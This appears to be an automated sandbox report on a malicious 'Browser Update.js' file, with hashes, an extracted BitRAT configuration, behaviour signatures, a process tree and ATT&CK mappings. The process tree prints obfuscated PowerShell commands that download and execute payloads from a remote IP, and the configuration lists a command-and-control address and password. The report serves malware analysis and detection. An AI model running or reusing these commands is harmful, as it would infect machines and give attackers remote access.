Analysis

  • max time kernel
    152s
  • max time network
    182s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-03-2024 20:46

General

  • Target

    Browser Update.js

  • Size

    606KB

  • MD5

    80f7b21c47f037118ebdce07c9ad7791

  • SHA1

    ea386166ac8a027a7f245cbfa357320734bbcfcc

  • SHA256

    fbecd7506cbac2937c708ec38567949f550e9f0d4a0575b157dec69d9920cf57

  • SHA512

    b2003629653f0a4d3402b0b10654f0bfb838d56ca3168b2e5eb29bffe814554e80c9b969cc15d6ca4e4ff8dbd223e6696a9db0d7fd0c167df412fc76a3c9d469

  • SSDEEP

    1536:5+BEG+BEVB/+BEVB/+BEVB2BEhBEZBEhBEZBEhBEZBEhBENBEFEMBEFEMBEFEMB4:n

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://193.233.132.136/a/z.png

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://193.233.132.136/a/s.png

Extracted

Family

bitrat

Version

1.38

C2

193.233.132.136:4404

Attributes
  • communication_password

    93d93f0d629d26b535ee4c950717ab2b

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 37 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
    1⤵
      PID:2668
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4268
    • C:\Windows\system32\wscript.exe
      wscript.exe "C:\Users\Admin\AppData\Local\Temp\Browser Update.js"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4948
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/z.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
        2⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2680
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c attrib +h C:\Users\Public\0x.log
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3500
          • C:\Windows\system32\attrib.exe
            attrib +h C:\Users\Public\0x.log
            4⤵
            • Views/modifies file attributes
            PID:4980
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:8
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            3⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/s.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
          2⤵
          • Blocklisted process makes network request
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4004
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            3⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4572
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 444
              4⤵
              • Program crash
              PID:2496
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 468
              4⤵
              • Program crash
              PID:4172
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4572 -ip 4572
        1⤵
          PID:636
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 4572 -ip 4572
          1⤵
            PID:4348

          Network

          MITRE ATT&CK Matrix ATT&CK v13

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Registry Run Keys / Startup Folder

          1
          T1547.001

          Defense Evasion

          Modify Registry

          1
          T1112

          Hide Artifacts

          1
          T1564

          Hidden Files and Directories

          1
          T1564.001

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            Filesize

            2KB

            MD5

            2f57fde6b33e89a63cf0dfdd6e60a351

            SHA1

            445bf1b07223a04f8a159581a3d37d630273010f

            SHA256

            3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

            SHA512

            42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            Filesize

            1KB

            MD5

            41d515d5c13eee8dac49179444a89124

            SHA1

            15381e59e572585c54d3cc5e3f061131e5d98673

            SHA256

            767db2d9cc84af3c573adfc4345b42c646091926fc42eb106d1fe7cfb976b49b

            SHA512

            f1caab2d5acc7ef9a41685788c009a6bb7af1423c20fd652ab858ec64405a6158a6de0e9ee09c519d44317197864c56620556ddba9e967b926095b1e45795c43

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rhfrj4et.iy1.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Public\0x.log
            Filesize

            62KB

            MD5

            34d6b90b676cf2fe59153c0c01b59278

            SHA1

            396c2789cf583c24b047976dc91584aa703c067a

            SHA256

            acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846

            SHA512

            f20cfcd266b691c70f530b92244dd80eddbd5a5c19d1c08bd6b330ff15217e8fef5ca221adabdc75fc2ac1cb4aae8e729073fe85e13c43a89f5cb56c0310af2f

          • memory/452-81-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-84-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-114-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-63-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-77-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-110-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-106-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-102-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-98-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-97-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-76-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-96-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-95-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-93-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-94-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-92-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-91-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-90-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-89-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-88-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-75-0x0000000075390000-0x00000000753C9000-memory.dmp
            Filesize

            228KB

          • memory/452-87-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-85-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-78-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-83-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-74-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-73-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-72-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-71-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-58-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-82-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-62-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-65-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-70-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-66-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-79-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-69-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/452-67-0x0000000075010000-0x0000000075049000-memory.dmp
            Filesize

            228KB

          • memory/452-68-0x0000000000400000-0x00000000007D2000-memory.dmp
            Filesize

            3.8MB

          • memory/2680-22-0x0000024D730E0000-0x0000024D730F0000-memory.dmp
            Filesize

            64KB

          • memory/2680-64-0x00007FF871030000-0x00007FF871AF1000-memory.dmp
            Filesize

            10.8MB

          • memory/2680-57-0x0000024D73110000-0x0000024D73122000-memory.dmp
            Filesize

            72KB

          • memory/2680-56-0x0000024D730E0000-0x0000024D730F0000-memory.dmp
            Filesize

            64KB

          • memory/2680-55-0x0000024D730E0000-0x0000024D730F0000-memory.dmp
            Filesize

            64KB

          • memory/2680-54-0x0000024D730E0000-0x0000024D730F0000-memory.dmp
            Filesize

            64KB

          • memory/2680-49-0x00007FF871030000-0x00007FF871AF1000-memory.dmp
            Filesize

            10.8MB

          • memory/2680-21-0x00007FF871030000-0x00007FF871AF1000-memory.dmp
            Filesize

            10.8MB

          • memory/2680-25-0x0000024D730E0000-0x0000024D730F0000-memory.dmp
            Filesize

            64KB

          • memory/4004-24-0x00000178B75D0000-0x00000178B75E0000-memory.dmp
            Filesize

            64KB

          • memory/4004-32-0x00007FF871030000-0x00007FF871AF1000-memory.dmp
            Filesize

            10.8MB

          • memory/4004-10-0x00007FF871030000-0x00007FF871AF1000-memory.dmp
            Filesize

            10.8MB

          • memory/4004-11-0x00000178B75D0000-0x00000178B75E0000-memory.dmp
            Filesize

            64KB

          • memory/4004-23-0x00000178B75D0000-0x00000178B75E0000-memory.dmp
            Filesize

            64KB

          • memory/4004-27-0x00000178D0430000-0x00000178D0442000-memory.dmp
            Filesize

            72KB

          • memory/4004-9-0x00000178D0460000-0x00000178D0482000-memory.dmp
            Filesize

            136KB

          • memory/4268-52-0x0000000002310000-0x0000000002710000-memory.dmp
            Filesize

            4.0MB

          • memory/4268-50-0x0000000075E90000-0x00000000760A5000-memory.dmp
            Filesize

            2.1MB

          • memory/4268-51-0x0000000002310000-0x0000000002710000-memory.dmp
            Filesize

            4.0MB

          • memory/4268-47-0x00007FF88F090000-0x00007FF88F285000-memory.dmp
            Filesize

            2.0MB

          • memory/4268-46-0x0000000002310000-0x0000000002710000-memory.dmp
            Filesize

            4.0MB

          • memory/4268-43-0x0000000000170000-0x0000000000179000-memory.dmp
            Filesize

            36KB

          • memory/4572-42-0x0000000075E90000-0x00000000760A5000-memory.dmp
            Filesize

            2.1MB

          • memory/4572-38-0x0000000003BE0000-0x0000000003FE0000-memory.dmp
            Filesize

            4.0MB

          • memory/4572-37-0x0000000003BE0000-0x0000000003FE0000-memory.dmp
            Filesize

            4.0MB

          • memory/4572-36-0x0000000003BE0000-0x0000000003FE0000-memory.dmp
            Filesize

            4.0MB

          • memory/4572-34-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/4572-33-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/4572-39-0x00007FF88F090000-0x00007FF88F285000-memory.dmp
            Filesize

            2.0MB

          • memory/4572-28-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/4572-40-0x0000000003BE0000-0x0000000003FE0000-memory.dmp
            Filesize

            4.0MB

          • memory/4572-53-0x0000000003BE0000-0x0000000003FE0000-memory.dmp
            Filesize

            4.0MB